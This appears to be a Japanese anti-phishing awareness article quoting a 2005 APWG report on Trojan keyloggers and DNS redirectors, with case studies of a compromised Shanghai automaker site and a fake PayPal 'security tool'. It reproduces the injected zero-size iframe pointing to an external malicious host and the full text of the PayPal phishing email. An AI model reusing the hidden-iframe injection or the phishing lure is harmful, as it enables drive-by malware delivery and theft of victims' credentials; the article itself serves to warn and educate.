

第6回 トロイの木馬

トロイの木馬は、正体を偽ってコンピュータに侵入し、破壊活動を行ったり、コンピュータを乗っ取るための窓口となるプログラムです。フィッシング詐欺では、トロイの木馬を利用し、キーボードから入力した情報を盗み取る「キーロガー」を勝手にダウンロードしたり、コンピュータの設定を勝手に変更して詐欺用の DNS サーバや詐欺サイトに誘導したりします。今回は、このトロイの木馬を利用して行われるフィッシング詐欺について紹介します。

- - - - 「APWG Phishing Activity Trends Report 2005年11月 日本語版」より抜粋 - - - -

<中略>

「クライムウェア」分類詳細

より巧妙なトロイの木馬と感染方法

ユーザー名やパスワードといった消費者の個人情報を不正に取得する目的で、キーボード入力情報を不正入手する不正コード(キーロガー)の攻撃が急激に増加を続けています。Websense Security Labs では、ユーザが特定の商用ウェブサイトと接続するとトロイの木馬系キーロガーに感染するという複数の事例を確認しました。それらのキーロガーは大抵の場合、消費者のウェブ・サーフィンの行動パターンをモニタリングし、人気のあるオンライン・ショップ等のサイトにアクセスした時点でキーボードからの入力情報を不正入手します。

今回はこの手段を利用した事例として、フォルクスワーゲン(VW)との合弁会社で、中国の最も大きな自動車製造国有企業の一つである上海匯衆(SHAC)への攻撃について報告します。

フィッシング犯は、Microsoft Internet Explorer CHM (compiled Windows HTML Help file) の脆弱性を利用し、SHAC のサイトを訪れた消費者のパソコンにキーロガーが送り込まれるように細工しました。フロントページの下部にはIFRAME(インラインフレームのHTMLタグ) ボタンが追加され、それによりユーザの介在なしに不正コードがダウンロードされます。オーストラリアがホスト国のそのウェブサイトは、help.txt という名称のファイル(これは実際には テキスト・ファイルではなく CHM Windows Help ファイル)をダウンロードしました。この不正な Windows Help ファイルは、UPX (Ultimate Packer for Executables) というパッキング・システムを詰め込んだ別の fu**snow.exe と呼ばれるファイルを送り込みます。次にこのファイルはインターネットに接続する為の Windows API ファイルを使ってバックドアを開き、キーロガーをインストールさせます。

～ フィッシング詐欺トピックス ～



IRAME 内で発見された不正コード

```
</td>
<td width="1875"><span class="gray" &copy; 2005 Shanghai Huizhong Automotive
Manufacturing Co.,Ltd.All Rights Reserved.</span></td>
</tr>
</table>
<script language="JavaScript" src="/count.asp?DJ_ID=1"></script>
<script language="JavaScript" src="/count2.asp"></script>
</BODY><iframe src="http://*.1681.com/1/index.htm" width="0" height="0" frameborder="0"></iframe>
</HTML>
```

フィッシング詐欺用トロイの木馬 - リダイレクタ

キーロガーを利用するフィッシング詐欺だけでなく、情報の行先を変えてしまうリダイレクタを使用するフィッシング行為も顕著に増加しています。特に、単純にクライアント端末のホストファイルの設定を部分的に変更し、特定の、あるいは全ての DNS ルックアップを詐欺用の DNS サーバに再誘導(リダイレクト)する不正コードの使用が最も多く見受けられます。フィッシング犯は銀行のサイトに似せた詐欺用サイトに誘導するため、ネームサーバの銀行サイト向けの応答のみを特定のドメイン向けに変更します。その他のほとんどのドメインに関しては、詐欺用 DNS サーバは有効なレスポンスを応答するため、ユーザはフィッシング行為に気が付きません。このリダイレクタを利用するフィッシング行為の場合、ユーザが目的のサイトのアドレスを正しく打ち込んだとしてもフィッシングに巻き込まれてしまいます。

Pay pal DNS リダイレクタの詳細:

このトロイの木馬はどのアンチ・ウィルス・ベンダをもってしても検知されませんでした。詐欺用の DNS サーバはルーマニアにホストされ、フィッシングサイトのサーバはインドにホストされていました。

～ フィッシング詐欺トピックス ～

まず、ユーザに「PayPal セキュリティ・ツール」ファイルのダウンロードリンクが記載されるフィッシング詐欺メールが届きます。ダウンロードされる「PayPal-2.5.200-MSWIN32-x86-2005.exe」と名付けられたファイルは、実行形式のトロイの木馬であり、ローカル・ワークステーションの DNS サーバを変更します。その後トロイの木馬は自分で自分を消去しますが、それ以後の paypal.com への全てのリクエストはそのフィッシング詐欺のウェブサイトへ転送されます。

この DNS サーバは更に複数の別のウェブサイトへのリクエスト転送に使用することも可能ですが、現在のところ paypal.com のリダイレクトのみを行っている様子です。

フィッシング詐欺サイトに誘導されたユーザは、ブラウザのツールバーに正しいウェブのアドレスが表示されているため、詐欺サイトに誘導されている事に気が付きません。フィッシングサイトでログインすると、ユーザに対してアカウントの更新を要求してきます。そして、以下の情報の入力促されます。

： 氏名、クレジット/ATM カード、請求先住所、電話番号、社会保障番号、母親の旧姓、生年月日、運転免許、銀行口座/ルーティン番号。

フィッシング Eメールのサンプル画面

Security Measures - Are You Travelling?

PayPal is committed to maintaining a safe environment for its community of buyers and sellers. To protect the security of your account, PayPal employs some of the most advanced security systems in the world and our anti-fraud teams regularly screen the PayPal system for unusual activity.

We recently noted one or more attempts to log in to your account from a foreign country. If you accessed your account while traveling, the attempt(s) may have been initiated by you.

Because the behavior was unusual for your account, we would like to take an extra step to ensure your security and you will now be taken through a series of identity verification pages.

IP Address	Time	Country
80.69.115.16	Oct 27, 2005 12:47:01 PDT	Germany
80.69.115.16	Oct 29, 2005 19:37:55 PDT	Germany
217.160.77.45	Nov 14, 2005 16:42:16 PDT	United Kingdom
217.160.77.45	Nov 15, 2005 16:58:08 PDT	United Kingdom

[Click here to download PayPal security tool](#)

Thank you for your prompt attention to this matter. Please understand that this is a security measure meant to help protect you and your account.

We apologize for any inconvenience.

If you choose to ignore our request, you leave us no choice but to temporarily suspend your account.

Thank you for using PayPal! The PayPal Team

Please do not reply to this e-mail. Mail sent to this address cannot be answered. For assistance, [log in](#) to your PayPal account and choose the "Help" link in the footer of any page.

To receive email notifications in plain text instead of HTML, update your preferences [here](#).

PayPal Email ID: PP6977

～ フィッシング詐欺トピックス ～

誘導されるフィッシングサイトの画面

